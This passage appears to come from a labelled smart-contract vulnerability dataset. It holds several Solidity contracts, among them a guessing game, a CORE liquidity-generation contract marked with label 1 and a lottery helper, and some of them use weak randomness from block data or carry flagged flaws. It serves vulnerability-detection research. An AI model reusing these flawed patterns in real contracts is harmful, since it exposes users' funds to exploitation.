SentDeveloperFee(remain, this.balance);
developer.transfer(remain);
numguesses = 0;
for (i = 0; i < stasticsarrayitems; i++) {
statistics[i] = 0;
}
_gameindex++;
state = State.Started;
}
function addguess(uint guess)
inState(State.Started)
payable
{
require(msg.value == bettingprice);
uint divideby = maxguess/stasticsarrayitems;
curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
if((uint)(numguesses+1)<=arraysize) {
guesses[numguesses++] = Guess(msg.sender, guess);
uint statindex = guess / divideby;
if(statindex>=stasticsarrayitems) statindex = stasticsarrayitems-1;
statistics[statindex] ++;
if((uint)(numguesses)>=arraysize){
finish();
}
}
}
} | 0 | 663 |
interface ICOREGlobals {
function CORETokenAddress() external view returns (address);
function COREGlobalsAddress() external view returns (address);
function COREDelegatorAddress() external view returns (address);
function COREVaultAddress() external returns (address);
function COREWETHUniPair() external view returns (address);
function UniswapFactory() external view returns (address);
function transferHandler() external view returns (address);
function addDelegatorStateChangePermission(address that, bool status) external;
function isStateChangeApprovedContract(address that) external view returns (bool);
}
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
pragma solidity >=0.4.24 <0.7.0;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
pragma solidity ^0.6.0;
contract ContextUpgradeSafe is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity ^0.6.0;
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
contract ReentrancyGuardUpgradeSafe is Initializable {
bool private _notEntered;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_notEntered = true;
}
modifier nonReentrant() {
require(_notEntered, "ReentrancyGuard: reentrant call");
_notEntered = false;
_;
_notEntered = true;
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity ^0.6.0;
interface ICoreVault {
function devaddr() external returns (address);
function addPendingRewards(uint _amount) external;
}
pragma solidity 0.6.12;
library COREIUniswapV2Library {
using SafeMath for uint256;
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'IUniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'IUniswapV2Library: ZERO_ADDRESS');
}
function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) internal returns (uint256 amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
}
interface IERC95 {
function wrapAtomic(address) external;
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function skim(address to) external;
function unpauseTransfers() external;
}
interface CERC95 {
function wrapAtomic(address) external;
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function skim(address to) external;
function name() external view returns (string memory);
}
interface ICORETransferHandler {
function sync(address) external;
}
contract cLGE is Initializable, OwnableUpgradeSafe, ReentrancyGuardUpgradeSafe {
using SafeMath for uint256;
IERC20 public tokenBeingWrapped;
address public coreEthPair;
address public wrappedToken;
address public preWrapEthPair;
address public COREToken;
address public _WETH;
address public wrappedTokenUniswapPair;
address public uniswapFactory;
uint256 public totalETHContributed;
uint256 public totalCOREContributed;
uint256 public totalWrapTokenContributed;
uint256 private wrappedTokenBalance;
uint256 private COREBalance;
uint256 public totalCOREToRefund;
uint256 public totalLPCreated;
uint256 private totalUnitsContributed;
uint256 public LPPerUnitContributed;
event Contibution(uint256 COREvalue, address from);
event COREBought(uint256 COREamt, address from);
mapping (address => uint256) public COREContributed;
mapping (address => uint256) public unitsContributed;
mapping (address => uint256) public unitsClaimed;
mapping (address => bool) public CORERefundClaimed;
mapping (address => address) public pairWithWETHAddressForToken;
mapping (address => uint256) public wrappedTokenContributed;
ICOREGlobals public coreGlobals;
bool public LGEStarted;
uint256 public contractStartTimestamp;
uint256 public LGEDurationDays;
bool public LGEFinished;
function initialize(uint256 daysLong, address _wrappedToken, address _coreGlobals, address _preWrapEthPair) public initializer {
require(msg.sender == address(0x5A16552f59ea34E44ec81E58b3817833E9fD5436));
OwnableUpgradeSafe.__Ownable_init();
ReentrancyGuardUpgradeSafe.__ReentrancyGuard_init();
contractStartTimestamp = uint256(-1);
LGEDurationDays = daysLong.mul(1 days);
coreGlobals = ICOREGlobals(_coreGlobals);
coreEthPair = coreETHPairGetter();
(COREToken, _WETH) = (IUniswapV2Pair(coreEthPair).token0(), IUniswapV2Pair(coreEthPair).token1());
address tokenBeingWrappedAddress = IUniswapV2Pair(_preWrapEthPair).token1();
tokenBeingWrapped = IERC20(tokenBeingWrappedAddress);
pairWithWETHAddressForToken[address(tokenBeingWrapped)] = _preWrapEthPair;
pairWithWETHAddressForToken[IUniswapV2Pair(coreEthPair).token0()] = coreEthPair;
wrappedToken = _wrappedToken;
preWrapEthPair = _preWrapEthPair;
uniswapFactory = coreGlobals.UniswapFactory();
}
function startLGE() public onlyOwner {
require(LGEStarted == false, "Already started");
contractStartTimestamp = block.timestamp;
LGEStarted = true;
updateRunningAverages();
}
function isLGEOver() public view returns (bool) {
return block.timestamp > contractStartTimestamp.add(LGEDurationDays);
}
function claimLP() nonReentrant public {
require(LGEFinished == true, "LGE : Liquidity generation not finished");
require(unitsContributed[msg.sender].sub(unitsClaimed[msg.sender]) > 0, "LEG : Nothing to claim");
IUniswapV2Pair(wrappedTokenUniswapPair)
.transfer(msg.sender, unitsContributed[msg.sender].mul(LPPerUnitContributed).div(1e8));
unitsClaimed[msg.sender] = unitsContributed[msg.sender];
}
function buyToken(address tokenTarget, uint256 amtToken, address tokenSwapping, uint256 amtTokenSwappingInput, address pair) internal {
(address token0, address token1) = COREIUniswapV2Library.sortTokens(tokenSwapping, tokenTarget);
IERC20(tokenSwapping).transfer(pair, amtTokenSwappingInput);
if(tokenTarget == token0) {
IUniswapV2Pair(pair).swap(amtToken, 0, address(this), "");
}
else {
IUniswapV2Pair(pair).swap(0, amtToken, address(this), "");
}
if(tokenTarget == COREToken){
emit COREBought(amtToken, msg.sender);
}
updateRunningAverages();
}
function updateRunningAverages() internal{
if(_averagePrices[address(tokenBeingWrapped)].lastBlockOfIncrement != block.number) {
_averagePrices[address(tokenBeingWrapped)].lastBlockOfIncrement = block.number;
updateRunningAveragePrice(address(tokenBeingWrapped), false);
}
if(_averagePrices[COREToken].lastBlockOfIncrement != block.number) {
_averagePrices[COREToken].lastBlockOfIncrement = block.number;
updateRunningAveragePrice(COREToken, false);
}
}
function coreETHPairGetter() public view returns (address) {
return coreGlobals.COREWETHUniPair();
}
function getPairReserves(address pair) internal view returns (uint256 wethReserves, uint256 tokenReserves) {
address token0 = IUniswapV2Pair(pair).token0();
(uint256 reserve0, uint reserve1,) = IUniswapV2Pair(pair).getReserves();
(wethReserves, tokenReserves) = token0 == _WETH ? (reserve0, reserve1) : (reserve1, reserve0);
}
function finalizeTokenWrapAddress(address _wrappedToken) onlyOwner public {
wrappedToken = _wrappedToken;
}
function safetyTokenWithdraw(address token) onlyOwner public {
require(block.timestamp > contractStartTimestamp.add(LGEDurationDays).add(1 days));
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
function safetyETHWithdraw() onlyOwner public {
require(block.timestamp > contractStartTimestamp.add(LGEDurationDays).add(1 days));
msg.sender.call.value(address(this).balance)("");
}
function addLiquidityAtomic() public {
require(LGEStarted == true, "LGE Didn't start");
require(LGEFinished == false, "LGE : Liquidity generation finished");
require(isLGEOver() == false, "LGE is over.");
if(IUniswapV2Pair(preWrapEthPair).balanceOf(address(this)) > 0) {
unwrapLiquidityTokens();
} else{
( uint256 tokenBeingWrappedPer1ETH, uint256 coreTokenPer1ETH) = getHowMuch1WETHBuysOfTokens();
uint256 balWETH = IERC20(_WETH).balanceOf(address(this));
uint256 totalCredit;
if(balWETH > 0){
totalETHContributed = totalETHContributed.add(balWETH);
totalCredit = handleWETHLiquidityAddition(balWETH,tokenBeingWrappedPer1ETH,coreTokenPer1ETH);
}
uint256 tokenBeingWrappedBalNow = IERC20(tokenBeingWrapped).balanceOf(address(this));
uint256 tokenBeingWrappedBalChange = tokenBeingWrappedBalNow.sub(wrappedTokenBalance);
if(tokenBeingWrappedBalChange > 0) {
totalWrapTokenContributed = totalWrapTokenContributed.add(tokenBeingWrappedBalChange);
wrappedTokenBalance = tokenBeingWrappedBalNow;
wrappedTokenContributed[msg.sender] = wrappedTokenContributed[msg.sender].add(tokenBeingWrappedBalChange);
totalCredit = totalCredit.add( handleTokenBeingWrappedLiquidityAddition(tokenBeingWrappedBalChange,tokenBeingWrappedPer1ETH,coreTokenPer1ETH) );
}
uint256 COREBalNow = IERC20(COREToken).balanceOf(address(this));
uint256 balCOREChange = COREBalNow.sub(COREBalance);
if(balCOREChange > 0) {
COREContributed[msg.sender] = COREContributed[msg.sender].add(balCOREChange);
totalCOREContributed = totalCOREContributed.add(balCOREChange);
}
COREBalance = COREBalNow;
uint256 unitsChange = totalCredit.add(balCOREChange);
unitsContributed[msg.sender] = unitsContributed[msg.sender].add(unitsChange);
totalUnitsContributed = totalUnitsContributed.add(unitsChange);
emit Contibution(totalCredit, msg.sender);
}
}
function handleTokenBeingWrappedLiquidityAddition(uint256 amt,uint256 tokenBeingWrappedPer1ETH,uint256 coreTokenPer1ETH) internal returns (uint256 coreUnitsCredit) {
uint256 outWETH;
(uint256 reserveWETHofWrappedTokenPair, uint256 reserveTokenofWrappedTokenPair) = getPairReserves(preWrapEthPair);
if(COREBalance.div(coreTokenPer1ETH) <= wrappedTokenBalance.div(tokenBeingWrappedPer1ETH)) {
outWETH = COREIUniswapV2Library.getAmountOut(amt, reserveTokenofWrappedTokenPair, reserveWETHofWrappedTokenPair);
buyToken(_WETH, outWETH, address(tokenBeingWrapped) , amt, preWrapEthPair);
(uint256 buyReserveWeth, uint256 reserveCore) = getPairReserves(coreEthPair);
uint256 outCore = COREIUniswapV2Library.getAmountOut(outWETH, buyReserveWeth, reserveCore);
buyToken(COREToken, outCore, _WETH ,outWETH,coreEthPair);
} else {
outWETH = COREIUniswapV2Library.getAmountOut(amt, reserveTokenofWrappedTokenPair , reserveWETHofWrappedTokenPair);
}
coreUnitsCredit = outWETH.mul(coreTokenPer1ETH).div(1e18);
}
function handleWETHLiquidityAddition(uint256 amt,uint256 tokenBeingWrappedPer1ETH,uint256 coreTokenPer1ETH) internal returns (uint256 coreUnitsCredit) {
if(COREBalance.div(coreTokenPer1ETH) <= wrappedTokenBalance.div(tokenBeingWrappedPer1ETH)) {
(uint256 reserveWeth, uint256 reserveCore) = getPairReserves(coreEthPair);
uint256 outCore = COREIUniswapV2Library.getAmountOut(amt, reserveWeth, reserveCore);
buyToken(COREToken, outCore,_WETH,amt, coreEthPair);
} else {
(uint256 reserveWeth, uint256 reserveToken) = getPairReserves(preWrapEthPair);
uint256 outToken = COREIUniswapV2Library.getAmountOut(amt, reserveWeth, reserveToken);
buyToken(address(tokenBeingWrapped), outToken,_WETH, amt,preWrapEthPair);
wrappedTokenContributed[msg.sender] = wrappedTokenContributed[msg.sender].add(outToken);
}
coreUnitsCredit = amt.mul(coreTokenPer1ETH).div(1e18);
}
function getHowMuch1WETHBuysOfTokens() public view returns (uint256 tokenBeingWrappedPer1ETH, uint256 coreTokenPer1ETH) {
return (getAveragePriceLast20Blocks(address(tokenBeingWrapped)), getAveragePriceLast20Blocks(COREToken));
}
fallback() external payable {
if(msg.sender != _WETH) {
addLiquidityETH();
}
}
function addLiquidityETH() nonReentrant public payable {
IWETH(_WETH).deposit{value: msg.value}();
addLiquidityAtomic();
}
function addLiquidityWithTokenWithAllowance(address token, uint256 amount) public nonReentrant {
IERC20(token).transferFrom(msg.sender, address(this), amount);
addLiquidityAtomic();
}
function unwrapLiquidityTokens() internal {
IUniswapV2Pair pair = IUniswapV2Pair(preWrapEthPair);
pair.transfer(preWrapEthPair, pair.balanceOf(address(this)));
pair.burn(address(this));
addLiquidityAtomic();
}
mapping(address => PriceAverage) _averagePrices;
struct PriceAverage{
uint8 lastAddedHead;
uint256[20] price;
uint256 cumulativeLast20Blocks;
bool arrayFull;
uint lastBlockOfIncrement;
}
function getAveragePriceLast20Blocks(address token) public view returns (uint256){
return _averagePrices[token].cumulativeLast20Blocks.div(_averagePrices[token].arrayFull ? 20 : _averagePrices[token].lastAddedHead);
}
function updateRunningAveragePrice(address token, bool isRescue) public returns (uint256) {
PriceAverage storage currentAveragePrices = _averagePrices[token];
address pairWithWETH = pairWithWETHAddressForToken[token];
(uint256 wethReserves, uint256 tokenReserves) = getPairReserves(address(pairWithWETH));
uint256 outTokenFor1WETH = COREIUniswapV2Library.getAmountOut(1e18, wethReserves, tokenReserves);
uint8 i = currentAveragePrices.lastAddedHead;
uint256 lastQuote;
if(i == 0) {
lastQuote = currentAveragePrices.price[19];
}
else {
lastQuote = currentAveragePrices.price[i - 1];
}
if(lastQuote != 0 && isRescue == false){
require(outTokenFor1WETH < lastQuote.mul(15000).div(10000), "Change too big from previous price");
}
currentAveragePrices.cumulativeLast20Blocks = currentAveragePrices.cumulativeLast20Blocks.sub(currentAveragePrices.price[i]);
currentAveragePrices.price[i] = outTokenFor1WETH;
currentAveragePrices.cumulativeLast20Blocks = currentAveragePrices.cumulativeLast20Blocks.add(outTokenFor1WETH);
currentAveragePrices.lastAddedHead++;
if(currentAveragePrices.lastAddedHead > 19) {
currentAveragePrices.lastAddedHead = 0;
currentAveragePrices.arrayFull = true;
}
return currentAveragePrices.cumulativeLast20Blocks;
}
function rescueRatioLock(address token) public onlyOwner{
updateRunningAveragePrice(token, true);
}
function addLiquidityToPairPublic() nonReentrant public{
addLiquidityToPair(true);
}
function addLiquidityToPairAdmin() nonReentrant onlyOwner public{
addLiquidityToPair(false);
}
function getCOREREfund() nonReentrant public {
require(LGEFinished == true, "LGE not finished");
require(totalCOREToRefund > 0 , "No refunds");
require(COREContributed[msg.sender] > 0, "You didn't contribute anything");
require(CORERefundClaimed[msg.sender] == false , "You already claimed");
uint256 COREToRefundToThisPerson = COREContributed[msg.sender].mul(1e12).div(totalCOREContributed).
mul(totalCOREToRefund).div(1e12);
CORERefundClaimed[msg.sender] = true;
IERC20(COREToken).transfer(msg.sender,COREToRefundToThisPerson);
}
function addLiquidityToPair(bool publicCall) internal {
require(block.timestamp > contractStartTimestamp.add(LGEDurationDays).add(publicCall ? 2 hours : 0), "LGE : Liquidity generaiton ongoing");
require(LGEFinished == false, "LGE : Liquidity generation finished");
IERC95(wrappedToken).unpauseTransfers();
tokenBeingWrapped.transfer(wrappedToken, tokenBeingWrapped.balanceOf(address(this)));
IERC95(wrappedToken).wrapAtomic(address(this));
IERC95(wrappedToken).skim(address(this));
wrappedTokenUniswapPair = IUniswapV2Factory(coreGlobals.UniswapFactory()).getPair(COREToken , wrappedToken);
if(wrappedTokenUniswapPair == address(0)) {
wrappedTokenUniswapPair = IUniswapV2Factory(coreGlobals.UniswapFactory()).createPair(
COREToken,
wrappedToken
);
}
uint256 DEV_FEE = 724;
address devaddress = ICoreVault(coreGlobals.COREVaultAddress()).devaddr();
IERC95(wrappedToken).transfer(devaddress, IERC95(wrappedToken).balanceOf(address(this)).mul(DEV_FEE).div(10000));
IERC20(COREToken).transfer(devaddress, IERC20(COREToken).balanceOf(address(this)).mul(DEV_FEE).div(10000));
uint256 balanceCORENow = IERC20(COREToken).balanceOf(address(this));
uint256 balanceCOREWrappedTokenNow = IERC95(wrappedToken).balanceOf(address(this));
( uint256 tokenBeingWrappedPer1ETH, uint256 coreTokenPer1ETH) = getHowMuch1WETHBuysOfTokens();
uint256 totalValueOfWrapper = balanceCOREWrappedTokenNow.div(tokenBeingWrappedPer1ETH).mul(1e18);
uint256 totalValueOfCORE = balanceCORENow.div(coreTokenPer1ETH).mul(1e18);
totalCOREToRefund = totalValueOfWrapper >= totalValueOfCORE ? 0:
totalValueOfCORE.sub(totalValueOfWrapper).div(coreTokenPer1ETH).mul(1e18);
IERC95(wrappedToken).transfer(wrappedTokenUniswapPair, IERC95(wrappedToken).balanceOf(address(this)));
IERC20(COREToken).transfer(wrappedTokenUniswapPair, balanceCORENow.sub(totalCOREToRefund));
IUniswapV2Pair(wrappedTokenUniswapPair).mint(address(this));
totalLPCreated = IUniswapV2Pair(wrappedTokenUniswapPair).balanceOf(address(this));
LPPerUnitContributed = totalLPCreated.mul(1e8).div(totalUnitsContributed);
LGEFinished = true;
ICORETransferHandler(coreGlobals.transferHandler()).sync(wrappedToken);
ICORETransferHandler(coreGlobals.transferHandler()).sync(COREToken);
}
} | 1 | 3,748 |
pragma solidity ^0.4.24;
contract DReddit {
enum Ballot { NONE, UPVOTE, DOWNVOTE }
struct Post {
uint creationDate;
bytes description;
address owner;
uint upvotes;
uint downvotes;
mapping(address => Ballot) voters;
}
Post[] public posts;
event NewPost (
uint indexed postId,
address owner,
bytes description
);
event Vote(
uint indexed postId,
address voter,
uint8 vote
);
function numPosts()
public
view
returns(uint)
{
return posts.length;
}
function create(bytes _description)
public
{
uint postId = posts.length++;
posts[postId] = Post({
creationDate: block.timestamp,
description: _description,
owner: msg.sender,
upvotes: 0,
downvotes: 0
});
emit NewPost(postId, msg.sender, _description);
}
function vote(uint _postId, uint8 _vote)
public
{
Post storage p = posts[_postId];
require(p.creationDate != 0, "Post does not exist");
require(p.voters[msg.sender] == Ballot.NONE, "You already voted on this post");
Ballot b = Ballot(_vote);
if (b == Ballot.UPVOTE) {
p.upvotes++;
} else {
p.downvotes++;
}
p.voters[msg.sender] = b;
emit Vote(_postId, msg.sender, _vote);
}
function canVote(uint _postId)
public
view
returns (bool)
{
if(_postId > posts.length - 1) return false;
Post storage p = posts[_postId];
return (p.voters[msg.sender] == Ballot.NONE);
}
function getVote(uint _postId)
public
view
returns (uint8)
{
Post storage p = posts[_postId];
return uint8(p.voters[msg.sender]);
}
} | 0 | 709 |
pragma solidity ^0.4.24;
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN));
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0);
require(!(b == -1 && a == INT256_MIN));
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Helper {
using SafeMath for uint256;
uint256 constant public ZOOM = 1000;
uint256 constant public SDIVIDER = 3450000;
uint256 constant public PDIVIDER = 3450000;
uint256 constant public RDIVIDER = 1580000;
uint256 constant public SLP = 0.002 ether;
uint256 constant public SAT = 30;
uint256 constant public PN = 777;
uint256 constant public PBASE = 13;
uint256 constant public PMULTI = 26;
uint256 constant public LBase = 15;
uint256 constant public ONE_HOUR = 3600;
uint256 constant public ONE_DAY = 24 * ONE_HOUR;
uint256 constant public TIMEOUT1 = 12 * ONE_HOUR;
function bytes32ToString (bytes32 data)
public
pure
returns (string)
{
bytes memory bytesString = new bytes(32);
for (uint j=0; j<32; j++) {
byte char = byte(bytes32(uint(data) * 2 ** (8 * j)));
if (char != 0) {
bytesString[j] = char;
}
}
return string(bytesString);
}
function uintToBytes32(uint256 n)
public
pure
returns (bytes32)
{
return bytes32(n);
}
function bytes32ToUint(bytes32 n)
public
pure
returns (uint256)
{
return uint256(n);
}
function stringToBytes32(string memory source)
public
pure
returns (bytes32 result)
{
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function stringToUint(string memory source)
public
pure
returns (uint256)
{
return bytes32ToUint(stringToBytes32(source));
}
function uintToString(uint256 _uint)
public
pure
returns (string)
{
return bytes32ToString(uintToBytes32(_uint));
}
function validUsername(string _username)
public
pure
returns(bool)
{
uint256 len = bytes(_username).length;
if ((len < 4) || (len > 18)) return false;
if (bytes(_username)[len-1] == 32) return false;
return uint256(bytes(_username)[0]) != 48;
}
function getAddedTime(uint256 _rTicketSum, uint256 _tAmount)
public
pure
returns (uint256)
{
uint256 base = (_rTicketSum + 1).mul(10000) / SDIVIDER;
uint256 expo = base;
expo = expo.mul(expo).mul(expo);
expo = expo.mul(expo);
expo = expo / (10**24);
if (expo > SAT) return 0;
return (SAT - expo).mul(_tAmount);
}
function getNewEndTime(uint256 toAddTime, uint256 slideEndTime, uint256 fixedEndTime)
public
view
returns(uint256)
{
uint256 _slideEndTime = (slideEndTime).add(toAddTime);
uint256 timeout = _slideEndTime.sub(block.timestamp);
if (timeout > TIMEOUT1) timeout = TIMEOUT1;
_slideEndTime = (block.timestamp).add(timeout);
if (_slideEndTime > fixedEndTime) return fixedEndTime;
return _slideEndTime;
}
function getRandom(uint256 _seed, uint256 _range)
public
pure
returns(uint256)
{
if (_range == 0) return _seed;
return (_seed % _range) + 1;
}
function getEarlyIncomeMul(uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 base = _ticketSum * ZOOM / RDIVIDER;
uint256 expo = base.mul(base).mul(base);
expo = expo.mul(expo) / (ZOOM**6);
return (1 + PBASE / (1 + expo.mul(PMULTI)));
}
function getTAmount(uint256 _ethAmount, uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 _tPrice = getTPrice(_ticketSum);
return _ethAmount.div(_tPrice);
}
function getTMul(uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 base = _ticketSum * ZOOM / PDIVIDER;
uint256 expo = base.mul(base).mul(base);
expo = expo.mul(expo);
return 1 + expo.mul(LBase) / (10**18);
}
function getTPrice(uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 base = (_ticketSum + 1).mul(ZOOM) / PDIVIDER;
uint256 expo = base;
expo = expo.mul(expo).mul(expo);
expo = expo.mul(expo);
uint256 tPrice = SLP + expo / PN;
return tPrice;
}
function getSlotWeight(uint256 _ethAmount, uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 _tAmount = getTAmount(_ethAmount, _ticketSum);
uint256 _tMul = getTMul(_ticketSum);
return (_tAmount).mul(_tMul);
}
function getWeightRange(uint256 grandPot, uint256 initGrandPot, uint256 curRWeight)
public
pure
returns(uint256)
{
uint256 grandPotInvest = grandPot - initGrandPot;
if (grandPotInvest == 0) return 8;
uint256 zoomMul = grandPot * ZOOM / grandPotInvest;
uint256 weightRange = zoomMul * curRWeight / ZOOM;
if (weightRange < curRWeight) weightRange = curRWeight;
return weightRange;
}
}
interface DevTeamInterface {
function setF2mAddress(address _address) public;
function setLotteryAddress(address _address) public;
function setCitizenAddress(address _address) public;
function setBankAddress(address _address) public;
function setRewardAddress(address _address) public;
function setWhitelistAddress(address _address) public;
function setupNetwork() public;
}
interface LotteryInterface {
function joinNetwork(address[6] _contract) public;
function activeFirstRound() public;
function pushToPot() public payable;
function finalizeable() public view returns(bool);
function finalize() public;
function buy(string _sSalt) public payable;
function buyFor(string _sSalt, address _sender) public payable;
function withdrawFor(address _sender) public returns(uint256);
function getRewardBalance(address _buyer) public view returns(uint256);
function getTotalPot() public view returns(uint256);
function getEarlyIncomeByAddress(address _buyer) public view returns(uint256);
function getCurEarlyIncomeByAddress(address _buyer) public view returns(uint256);
function getCurRoundId() public view returns(uint256);
function setLastRound(uint256 _lastRoundId) public;
function getPInvestedSumByRound(uint256 _rId, address _buyer) public view returns(uint256);
function cashoutable(address _address) public view returns(bool);
function isLastRound() public view returns(bool);
}
contract Reward {
using SafeMath for uint256;
event NewReward(address indexed _lucker, uint256[5] _info);
modifier onlyOwner() {
require(msg.sender == address(lotteryContract), "This is just log for lottery contract");
_;
}
modifier claimable() {
require(
rest > 1 &&
block.number > lastBlock &&
lastRoundClaim[msg.sender] < lastRoundId,
"out of stock in this round, block or already claimed");
_;
}
struct Rewards {
address lucker;
uint256 time;
uint256 rId;
uint256 value;
uint256 winNumber;
uint256 rewardType;
}
Rewards[] public rewardList;
mapping( address => uint256[]) public pReward;
